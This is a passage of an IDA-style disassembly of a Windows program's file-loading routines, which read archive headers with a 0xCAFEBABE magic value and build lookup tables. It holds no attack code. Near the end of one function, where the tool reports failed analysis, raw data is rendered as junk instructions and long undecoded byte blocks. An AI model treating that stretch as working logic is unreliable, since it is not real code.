		test	eax, eax
		jnz	short loc_494910
		mov	ecx, 0EF000006h
		call	sub_499342

loc_494910:				; CODE XREF: sub_494610+2F4j
		cmp	[ebp+var_138], 0
		jz	short loc_49491B
		jmp	short loc_49492F
; ---------------------------------------------------------------------------

loc_49491B:				; CODE XREF: sub_494610+307j
		mov	eax, [ebp+var_78]
		sub	eax, 1
		mov	[ebp+var_78], eax
		mov	ecx, [ebp+var_54]
		sub	ecx, 1
		mov	[ebp+var_54], ecx
		jmp	short loc_4948CB
; ---------------------------------------------------------------------------

loc_49492F:				; CODE XREF: sub_494610+A1j
					; sub_494610+B4j ...
		push	2
		push	0
		mov	edx, [ebp+var_78]
		sub	edx, 4
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4A2788	; SetFilePointer
		mov	[ebp+var_74], eax
		mov	ecx, [ebp+var_54]
		add	ecx, [ebp+var_78]
		mov	[ebp+var_54], ecx
		mov	[ebp+var_144], 0
		push	0
		lea	edx, [ebp+var_144]
		push	edx
		push	4
		lea	eax, [ebp+var_148]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	ds:dword_4A277C	; ReadFile
		test	eax, eax
		jz	short loc_494983
		cmp	[ebp+var_144], 4
		jz	short loc_49498D

loc_494983:				; CODE XREF: sub_494610+368j
		mov	ecx, 0EF000006h
		call	sub_499342

loc_49498D:				; CODE XREF: sub_494610+371j
		cmp	[ebp+var_148], 0CAFEBABEh
		jz	short loc_4949B0
		mov	edx, [ebp+var_148]
		xor	edx, 0CAFEBABEh
		xor	edx, [ebp+var_54]
		mov	[ebp+var_308], edx
		jmp	short loc_4949BB
; ---------------------------------------------------------------------------

loc_4949B0:				; CODE XREF: sub_494610+387j
		mov	eax, ds:dword_4A1BD8
		mov	[ebp+var_308], eax

loc_4949BB:				; CODE XREF: sub_494610+39Ej
		mov	ecx, [ebp+var_308]
		mov	[ebp+var_14C], ecx
		mov	edx, [ebp+arg_4]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_4949EF
		mov	eax, offset dword_4A1BD8
		lea	ecx, [ebp+var_14C]
		mov	edx, [ecx]
		cmp	edx, [eax]
		jz	short loc_4949EF
		mov	ecx, 0EF000007h
		call	sub_499342

loc_4949EF:				; CODE XREF: sub_494610+3C2j
					; sub_494610+3D3j
		push	2
		push	0
		mov	eax, [ebp+var_78]
		sub	eax, 14h
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	ds:dword_4A2788	; SetFilePointer
		mov	[ebp+var_150], 0
		push	0
		lea	edx, [ebp+var_150]
		push	edx
		push	10h
		lea	eax, [ebp+var_4C]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	ds:dword_4A277C	; ReadFile
		test	eax, eax
		jz	short loc_494A34
		cmp	[ebp+var_150], 10h
		jz	short loc_494A3E

loc_494A34:				; CODE XREF: sub_494610+419j
		mov	ecx, 0EF000006h
		call	sub_499342

loc_494A3E:				; CODE XREF: sub_494610+422j
		mov	edx, [ebp+arg_8]
		and	edx, 0FFh
		neg	edx
		sbb	edx, edx
		and	edx, 0Ch
		mov	[ebp+var_68], edx
		push	2
		push	0
		mov	eax, [ebp+var_68]
		add	eax, 2Ch
		mov	ecx, [ebp+var_78]
		sub	ecx, eax
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	ds:dword_4A2788	; SetFilePointer
		mov	[ebp+var_154], 0
		mov	eax, [ebp+arg_8]
		and	eax, 0FFh
		test	eax, eax
		jz	loc_494B15
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_34]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4A277C	; ReadFile
		test	eax, eax
		jz	short loc_494AAB
		cmp	[ebp+var_154], 4
		jz	short loc_494AB5

loc_494AAB:				; CODE XREF: sub_494610+490j
		mov	ecx, 0EF000006h
		call	sub_499342

loc_494AB5:				; CODE XREF: sub_494610+499j
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_50]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4A277C	; ReadFile
		test	eax, eax
		jz	short loc_494ADB
		cmp	[ebp+var_154], 4
		jz	short loc_494AE5

loc_494ADB:				; CODE XREF: sub_494610+4C0j
		mov	ecx, 0EF000006h
		call	sub_499342

loc_494AE5:				; CODE XREF: sub_494610+4C9j
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4A277C	; ReadFile
		test	eax, eax
		jz	short loc_494B0B
		cmp	[ebp+var_154], 4
		jz	short loc_494B15

loc_494B0B:				; CODE XREF: sub_494610+4F0j
		mov	ecx, 0EF000006h
		call	sub_499342

loc_494B15:				; CODE XREF: sub_494610+46Fj
					; sub_494610+4F9j
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_60]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4A277C	; ReadFile
		test	eax, eax
		jz	short loc_494B3B
		cmp	[ebp+var_154], 4
		jz	short loc_494B45

loc_494B3B:				; CODE XREF: sub_494610+520j
		mov	ecx, 0EF000006h
		call	sub_499342

loc_494B45:				; CODE XREF: sub_494610+529j
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_70]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4A277C	; ReadFile
		test	eax, eax
		jz	short loc_494B6B
		cmp	[ebp+var_154], 4
		jz	short loc_494B75

loc_494B6B:				; CODE XREF: sub_494610+550j
		mov	ecx, 0EF000006h
		call	sub_499342

loc_494B75:				; CODE XREF: sub_494610+559j
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_3C]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4A277C	; ReadFile
		test	eax, eax
		jz	short loc_494B9B
		cmp	[ebp+var_154], 4
		jz	short loc_494BA5

loc_494B9B:				; CODE XREF: sub_494610+580j
		mov	ecx, 0EF000006h
		call	sub_499342

loc_494BA5:				; CODE XREF: sub_494610+589j
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_64]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4A277C	; ReadFile
		test	eax, eax
		jz	short loc_494BCB
		cmp	[ebp+var_154], 4
		jz	short loc_494BD5

loc_494BCB:				; CODE XREF: sub_494610+5B0j
		mov	ecx, 0EF000006h
		call	sub_499342

loc_494BD5:				; CODE XREF: sub_494610+5B9j
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_6C]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4A277C	; ReadFile
		test	eax, eax
		jz	short loc_494BFB
		cmp	[ebp+var_154], 4
		jz	short loc_494C05

loc_494BFB:				; CODE XREF: sub_494610+5E0j
		mov	ecx, 0EF000006h
		call	sub_499342

loc_494C05:				; CODE XREF: sub_494610+5E9j
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_58]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4A277C	; ReadFile
		test	eax, eax
		jz	short loc_494C2B
		cmp	[ebp+var_154], 4
		jz	short loc_494C35

loc_494C2B:				; CODE XREF: sub_494610+610j
		mov	ecx, 0EF000006h
		call	sub_499342

loc_494C35:				; CODE XREF: sub_494610+619j
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	loc_494E52
		cmp	[ebp+var_50], 0
		jz	loc_494E52
		cmp	[ebp+var_34], 0
		jz	loc_494E52
		push	24h
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_2D8], eax
		mov	edx, [ebp+var_2D8]
		mov	[ebp+var_158], edx
		mov	eax, [ebp+var_1C]
		add	eax, 1
		push	eax
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_2DC], eax
		mov	ecx, [ebp+var_158]
		mov	edx, [ebp+var_2DC]
		mov	[ecx+0Ch], edx
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+var_158]
		mov	edi, [eax+0Ch]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_158]
		mov	dword ptr [eax], 0
		push	10h
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_2E0], eax
		mov	ecx, [ebp+var_158]
		mov	edx, [ebp+var_2E0]
		mov	[ecx+4], edx
		push	4
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_2E4], eax
		mov	eax, [ebp+var_158]
		mov	ecx, [ebp+var_2E4]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_158]
		mov	dword ptr [edx+18h], 1
		mov	eax, [ebp+var_158]
		mov	dword ptr [eax+14h], 0
		push	0
		push	0
		mov	ecx, [ebp+var_158]
		add	ecx, 1Ch
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	ds:dword_4A2704	; GetFileTime
		mov	edi, ds:dword_4A290C
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	eax, ds:dword_4A2908
		sub	ecx, [eax+0C14h]
		mov	[ebp+var_15C], ecx
		mov	ecx, [ebp+var_15C]
		add	ecx, 1
		push	ecx
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_2E8], eax
		mov	edx, [ebp+var_158]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_2E8]
		mov	[eax], ecx
		mov	edx, [ebp+var_158]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_158]
		mov	edx, [ecx+8]
		mov	eax, [eax]
		mov	[edx], eax
		mov	ecx, [ebp+var_15C]
		add	ecx, 1
		mov	edx, ds:dword_4A2908
		mov	esi, ds:dword_4A290C
		add	esi, [edx+0C14h]
		mov	eax, [ebp+var_158]
		mov	edx, [eax+8]
		mov	edi, [edx]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_15C]
		push	ecx
		mov	edx, [ebp+var_158]
		mov	eax, [edx+8]
		mov	ecx, [eax]
		push	ecx
		call	ds:dword_4A27C8	; CharUpperBuffA
		mov	edx, [ebp+var_158]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_34]
		mov	[eax+4], ecx
		mov	edx, [ebp+var_158]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_50]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_158]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_38]
		mov	[eax+0Ch], ecx
		mov	edx, ds:dword_4A2908
		mov	[ebp+var_160], edx
		mov	eax, [ebp+var_158]
		mov	ecx, [ebp+var_160]
		mov	edx, [ecx]
		mov	[eax+10h], edx
		mov	eax, [ebp+var_160]
		mov	ecx, [ebp+var_158]
		mov	[eax], ecx
		mov	edx, ds:dword_4A2908
		mov	eax, [edx+4]
		add	eax, 1
		mov	ecx, ds:dword_4A2908
		mov	[ecx+4], eax

loc_494E52:				; CODE XREF: sub_494610+630j
					; sub_494610+63Aj ...
		mov	edx, [ebp+var_54]
		sub	edx, [ebp+var_58]
		mov	[ebp+var_58], edx
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_58]
		mov	[ebp+var_3C], eax
		mov	ecx, [ebp+var_54]
		sub	ecx, [ebp+var_3C]
		test	ecx, ecx
		jb	short loc_494E79
		mov	edx, [ebp+var_54]
		sub	edx, [ebp+var_3C]
		cmp	[ebp+var_60], edx
		jbe	short loc_494E83

loc_494E79:				; CODE XREF: sub_494610+85Cj
		mov	ecx, 0EF000007h
		call	sub_499342

loc_494E83:				; CODE XREF: sub_494610+867j
		mov	eax, [ebp+var_60]
		push	eax
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_2EC], eax
		mov	ecx, [ebp+var_2EC]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_234], 0
		mov	[ebp+var_238], 0
		push	0
		push	0
		mov	edx, [ebp+var_3C]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4A2788	; SetFilePointer

loc_494EC4:				; CODE XREF: sub_494610+90Aj
		mov	ecx, [ebp+var_238]
		cmp	ecx, [ebp+var_60]
		jz	short loc_494F1C
		mov	[ebp+var_234], 0
		push	0
		lea	edx, [ebp+var_234]
		push	edx
		mov	eax, [ebp+var_60]
		sub	eax, [ebp+var_238]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	ds:dword_4A277C	; ReadFile
		test	eax, eax
		jnz	short loc_494F08
		mov	ecx, 0EF000006h
		call	sub_499342

loc_494F08:				; CODE XREF: sub_494610+8ECj
		mov	eax, [ebp+var_238]
		add	eax, [ebp+var_234]
		mov	[ebp+var_238], eax
		jmp	short loc_494EC4
; ---------------------------------------------------------------------------

loc_494F1C:				; CODE XREF: sub_494610+8BDj
		push	120000h
		call	sub_48EB7E
		fxch4	st(2)
		push	esp
		mov	ebp, 46EE4704h
		fst	st
		iret
sub_494610	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0F5h, 0E9h, 1Eh
		dd 0D5E28C45h, 8C62D4A7h, 7CF0AAEEh, 8C9F283Eh,	0D6A56BD3h
		dd 7F01D584h, 9F85C5B6h, 0E7618390h, 0A2424F41h, 0FED9E4FEh
		dd 0CDB905E3h, 55C9DCC0h, 0EF5F05A1h, 6E843F49h, 52F6001Ah
		dd 67F55184h, 978DDDCEh, 1D797B88h, 0BA3A4746h,	6F9ECF7h
		dd 0C5B6D5FBh, 339090B8h, 75D285D2h, 4C8D8DEEh,	0E8FFFFFDh
		dd 37FCh, 50A0458Bh, 51DC4D8Bh,	0FD4C8D8Dh, 0F5E8FFFFh
		dd 8D000037h, 0FFFDB895h, 8D8D52FFh, 0FFFFFD4Ch, 389CE8h
		dd 4B900h, 0BD8D0000h, 0FFFFFDB8h, 33B4758Dh, 74A7F3C0h
		dd 7B90Ah, 63E8EF00h, 6A000043h, 4374E824h, 0C4830000h
		dd 10858904h, 8BFFFFFDh, 0FFFD108Dh, 0E04D89FFh, 83E4558Bh
		dd 0E85201C2h, 4356h, 8904C483h, 0FFFD0C85h, 0E0458BFFh
		dd 0FD0C8D8Bh, 4889FFFFh, 0E44D8B0Ch, 8B01C183h, 558B0875h
		dd 0C7A8BE0h, 0E9C1C18Bh, 8BA5F302h, 3E183C8h, 4D8BA4F3h
		dd 0DC558BE0h, 458B1189h, 9C4503DCh, 89E04D8Bh,	558B0441h
		dd 2E2C194h, 4304E852h,	0C4830000h, 8858904h, 8BFFFFFDh
		dd 8D8BE045h, 0FFFFFD08h, 8B084889h, 458BE055h,	18428994h
		dd 0C7E04D8Bh, 1441h, 558D0000h, 458D52D0h, 4D8B50D0h
		dd 1CC183E0h, 0D8558B51h, 415FF52h, 8B004A27h, 7883E045h
		dd 16750020h, 83E04D8Bh, 75001C79h, 0E0558B0Dh,	521CC283h
		dd 272C15FFh, 45C7004Ah, 0A4h, 8B09EB00h, 0C083A445h, 0A4458901h
		dd 3BA44D8Bh, 830F944Dh, 0E3h, 0C1A4558Bh, 458B04E2h, 4488BE0h
		dd 3DC458Bh, 4D8B1104h,	4E1C1A4h, 8BE0558Bh, 4890452h
		dd 0A4458B0Ah, 8B04E0C1h, 518BE04Dh, 23C8B04h, 33FFC983h
		dd 0F7AEF2C0h, 0FFC183D1h, 0FD488D89h, 858BFFFFh, 0FFFFFD48h
		dd 5001C083h, 4235E8h, 4C48300h, 0FD048589h, 4D8BFFFFh
		dd 8518BE0h, 8BA4458Bh,	0FFFD048Dh, 820C89FFh, 0FD488D8Bh
		dd 0C183FFFFh, 0A4558B01h, 8B04E2C1h, 408BE045h, 10348B04h
		dd 8BE0558Bh, 558B0842h, 903C8BA4h, 0E9C1C18Bh,	8BA5F302h
		dd 3E183C8h, 8D8BA4F3h,	0FFFFFD48h, 0A4558B51h,	8B04E2C1h
		dd 488BE045h, 11148B04h, 0C815FF52h, 8B004A27h,	0E0C1A445h
		dd 0E04D8B04h, 8B04518Bh, 3040244h, 4D8BA845h, 4E1C1A4h
		dd 8BE0558Bh, 44890452h, 8E9040Ah, 8BFFFFFFh, 4503DC45h
		dd 0FC7881A0h, 0FEFEFEFEh, 0A7850Fh, 4D8B0000h,	0A04D03DCh
		dd 89F8518Bh, 0FFFD3C95h, 0DC458BFFh, 8BA04503h, 8D89F448h
		dd 0FFFFFD40h, 3DC558Bh, 0FFFD4095h, 449589FFh,	0C7FFFFFDh
		dd 0FFFD3885h, 0FFh, 8B0FEB00h,	0FFFD3885h, 1C083FFh, 0FD388589h
		dd 8D8BFFFFh, 0FFFFFD38h, 0FD3C8D3Bh, 3A73FFFFh, 0FD38958Bh
		dd 0D26BFFFFh, 44858B18h, 3FFFFFDh, 348589C2h, 8BFFFFFDh
		dd 0FFFD348Dh, 0DC558BFFh, 8B105103h, 0FFFD3485h, 105089FFh
		dd 0FD348D8Bh, 8D89FFFFh, 0FFFFFD30h, 958BA9EBh, 0FFFFFD44h
		dd 28F01589h, 858B004Ah, 0FFFFFD3Ch, 4A28F4A3h,	80D8B00h
		dd 89004A29h, 0FFFD2C8Dh, 2C958BFFh, 83FFFFFDh,	840F003Ah
		dd 152h, 8908458Bh, 0FFFCF485h,	2C8D8BFFh, 8BFFFFFDh, 0C428B11h
		dd 0FCF08589h, 8D8BFFFFh, 0FFFFFCF0h, 9588118Ah, 0FFFFFCEFh
		dd 0FCF4858Bh, 103AFFFFh, 0BD804675h, 0FFFFFCEFh, 8B317400h
		dd 0FFFCF08Dh, 1518AFFh, 0FCEE9588h, 858BFFFFh,	0FFFFFCF4h
		dd 7501503Ah, 0F0858323h, 2FFFFFCh, 0FCF48583h,	8002FFFFh
		dd 0FFFCEEBDh, 0AE7500FFh, 0FCE885C7h, 0FFFFh, 0BEB0000h
		dd 0D983C91Bh, 0E88D89FFh, 8BFFFFFCh, 0FFFCE895h, 0E49589FFh
		dd 83FFFFFCh, 0FFFCE4BDh, 57D00FFh, 0B5E9h, 2908A100h
		dd 0C083004Ah, 0E0858910h, 8BFFFFFCh, 0FFFD2C8Dh, 8B118BFFh
		dd 85890C42h, 0FFFFFCDCh, 0FCDC8D8Bh, 118AFFFFh, 0FCDB9588h
		dd 858BFFFFh, 0FFFFFCE0h, 4675103Ah, 0FCDBBD80h, 7400FFFFh
		dd 0DC8D8B31h, 8AFFFFFCh, 95880151h, 0FFFFFCDAh, 0FCE0858Bh
		dd 503AFFFFh, 83237501h, 0FFFCDC85h, 858302FFh,	0FFFFFCE0h
		dd 0DABD8002h, 0FFFFFCh, 85C7AE75h, 0FFFFFCD4h,	0
; ---------------------------------------------------------------------------
		jmp	short loc_4953B1
; ---------------------------------------------------------------------------
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh
		mov	[ebp-32Ch], ecx

loc_4953B1:				; CODE XREF: _4:004953A4j
		mov	edx, [ebp-32Ch]
		mov	[ebp-330h], edx
		cmp	dword ptr [ebp-330h], 0
		jnz	short loc_4953C8
		jmp	short loc_4953DE
; ---------------------------------------------------------------------------

loc_4953C8:				; CODE XREF: _4:004953C4j
		mov	eax, [ebp-2D4h]
		mov	ecx, [eax]
		add	ecx, 10h
		mov	[ebp-2D4h], ecx
		jmp	near ptr dword_494F34+349h
; ---------------------------------------------------------------------------

loc_4953DE:				; CODE XREF: _4:004953C6j
		mov	edx, [ebp-20h]
		mov	eax, [ebp-2D4h]
		mov	ecx, [eax]
		mov	[edx+10h], ecx
		mov	edx, [ebp-2D4h]
		mov	eax, [ebp-20h]
		mov	[edx], eax
		mov	ecx, ds:dword_4A2908
		mov	edx, [ecx+4]
		add	edx, [ebp-6Ch]
		mov	eax, ds:dword_4A2908
		mov	[eax+4], edx
		mov	dword ptr [ebp-24h], 0
		mov	dword ptr [ebp-20h], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_495427
		jmp	short loc_495474

; =============== S U B	R O U T	I N E =======================================



sub_495427	proc near		; CODE XREF: _4:00495420p
					; DATA XREF: _5:0049F428o
		cmp	dword ptr [ebp-28h], 0FFFFFFFFh
		jz	short loc_495437
		mov	ecx, [ebp-28h]
		push	ecx
		call	ds:dword_4A26A4	; CloseHandle

loc_495437:				; CODE XREF: sub_495427+4j
		cmp	dword ptr [ebp-24h], 0
		jz	short loc_495455
		mov	edx, [ebp-24h]
		mov	[ebp-300h], edx
		mov	eax, [ebp-300h]
		push	eax
		call	sub_4993DD
		add	esp, 4

loc_495455:				; CODE XREF: sub_495427+14j
		cmp	dword ptr [ebp-20h], 0
		jz	short locret_495473
		mov	ecx, [ebp-20h]
		mov	[ebp-304h], ecx
		mov	edx, [ebp-304h]
		push	edx
		call	sub_4993DD
		add	esp, 4

locret_495473:				; CODE XREF: sub_495427+32j
		retn
sub_495427	endp

; ---------------------------------------------------------------------------

loc_495474:				; CODE XREF: _4:00495425j
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_495490	proc near		; CODE XREF: sub_493DD0+623p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004956B5 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F430
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFB8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1C], 0
		mov	[ebp+var_4], 0
		mov	eax, ds:dword_4A2908
		mov	dword ptr [eax+0Ch], 0
		mov	ecx, ds:dword_4A2908
		mov	edx, [ecx+4]
		shl	edx, 4
		push	edx
		call	sub_49935A
		add	esp, 4
		mov	[ebp+var_40], eax
		mov	eax, [ebp+var_40]
		mov	[ebp+var_1C], eax

loc_4954EB:				; CODE XREF: sub_495490+1E7j
		mov	[ebp+var_34], 0
		mov	[ebp+var_28], 0
		mov	[ebp+var_30], 0
		mov	ecx, ds:dword_4A2908
		mov	edx, [ecx]
		mov	[ebp+var_20], edx
		jmp	short loc_495516
; ---------------------------------------------------------------------------

loc_49550D:				; CODE XREF: sub_495490+9Ej
					; sub_495490+132j ...
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+10h]
		mov	[ebp+var_20], ecx

loc_495516:				; CODE XREF: sub_495490+7Bj
		cmp	[ebp+var_20], 0
		jz	loc_4955F9
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_20]
		mov	ecx, [edx+14h]
		cmp	ecx, [eax+18h]
		jnz	short loc_495530
		jmp	short loc_49550D
; ---------------------------------------------------------------------------

loc_495530:				; CODE XREF: sub_495490+9Cj
		cmp	[ebp+var_30], 0
		jz	loc_4955D2
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		shl	eax, 4
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+4]
		add	edx, eax
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_30]
		mov	[ebp+var_48], eax
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx]
		mov	[ebp+var_4C], edx

loc_49555C:				; CODE XREF: sub_495490+FEj
		mov	eax, [ebp+var_4C]
		mov	cl, [eax]
		mov	[ebp+var_4D], cl
		mov	edx, [ebp+var_48]
		cmp	cl, [edx]
		jnz	short loc_495599
		cmp	[ebp+var_4D], 0
		jz	short loc_495590
		mov	eax, [ebp+var_4C]
		mov	cl, [eax+1]
		mov	[ebp+var_4E], cl
		mov	edx, [ebp+var_48]
		cmp	cl, [edx+1]
		jnz	short loc_495599
		add	[ebp+var_4C], 2
		add	[ebp+var_48], 2
		cmp	[ebp+var_4E], 0
		jnz	short loc_49555C

loc_495590:				; CODE XREF: sub_495490+DFj
		mov	[ebp+var_54], 0
		jmp	short loc_4955A1
; ---------------------------------------------------------------------------

loc_495599:				; CODE XREF: sub_495490+D9j
					; sub_495490+F0j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_54], eax

loc_4955A1:				; CODE XREF: sub_495490+107j
		mov	ecx, [ebp+var_54]
		mov	[ebp+var_58], ecx
		mov	edx, [ebp+var_58]
		mov	[ebp+var_3C], edx
		cmp	[ebp+var_3C], 0
		jnz	short loc_4955C7
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+var_20]
		mov	[edx+14h], ecx
		jmp	loc_49550D
; ---------------------------------------------------------------------------

loc_4955C7:				; CODE XREF: sub_495490+121j
		cmp	[ebp+var_3C], 0
		jle	short loc_4955D2
		jmp	loc_49550D
; ---------------------------------------------------------------------------

loc_4955D2:				; CODE XREF: sub_495490+A4j
					; sub_495490+13Bj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		mov	edx, [ecx+14h]
		shl	edx, 4
		mov	eax, [ebp+var_28]
		mov	ecx, [eax+4]
		add	ecx, edx
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_34]
		mov	eax, [edx]
		mov	[ebp+var_30], eax
		jmp	loc_49550D
; ---------------------------------------------------------------------------

loc_4955F9:				; CODE XREF: sub_495490+8Aj
		cmp	[ebp+var_30], 0
		jnz	short loc_495601
		jmp	short loc_49567C
; ---------------------------------------------------------------------------

loc_495601:				; CODE XREF: sub_495490+16Dj
		mov	ecx, ds:dword_4A2908
		mov	edx, [ecx+0Ch]
		shl	edx, 4
		mov	eax, [ebp+var_1C]
		add	eax, edx
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+var_34]
		mov	[ecx], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_28]
		mov	[eax+0Ch], ecx
		mov	edx, [ebp+var_24]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_34]
		sub	ecx, [eax+4]
		sar	ecx, 4
		mov	edx, [ebp+var_28]
		mov	eax, [edx+8]
		mov	edx, [ebp+var_24]
		mov	eax, [eax+ecx*4]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		mov	[ebp+var_2C], edx
		mov	eax, ds:dword_4A2908
		mov	ecx, [eax+0Ch]
		add	ecx, 1
		mov	edx, ds:dword_4A2908
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_28]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+var_28]
		mov	[edx+14h], ecx
		jmp	loc_4954EB
; ---------------------------------------------------------------------------

loc_49567C:				; CODE XREF: sub_495490+16Fj
		mov	eax, ds:dword_4A2908
		mov	ecx, [ebp+var_1C]
		mov	[eax+8], ecx
		mov	[ebp+var_1C], 0
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_49569C
		jmp	short loc_4956B5
sub_495490	endp


; =============== S U B	R O U T	I N E =======================================



sub_49569C	proc near		; CODE XREF: sub_495490+205p
					; DATA XREF: _5:0049F438o
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_4956B4
		mov	edx, [ebp-1Ch]
		mov	[ebp-44h], edx
		mov	eax, [ebp-44h]
		push	eax
		call	sub_4993DD
		add	esp, 4

locret_4956B4:				; CODE XREF: sub_49569C+4j
		retn
sub_49569C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_495490

loc_4956B5:				; CODE XREF: sub_495490+20Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_495490
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4956D0	proc near		; CODE XREF: sub_49B0C8+77p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004957AE SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F440
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_4A28E8
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_495714
		mov	ecx, [ebp+var_24]
		add	ecx, 10h
		push	ecx
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	byte ptr [ebp+var_28], 1
		jmp	short loc_495718
; ---------------------------------------------------------------------------

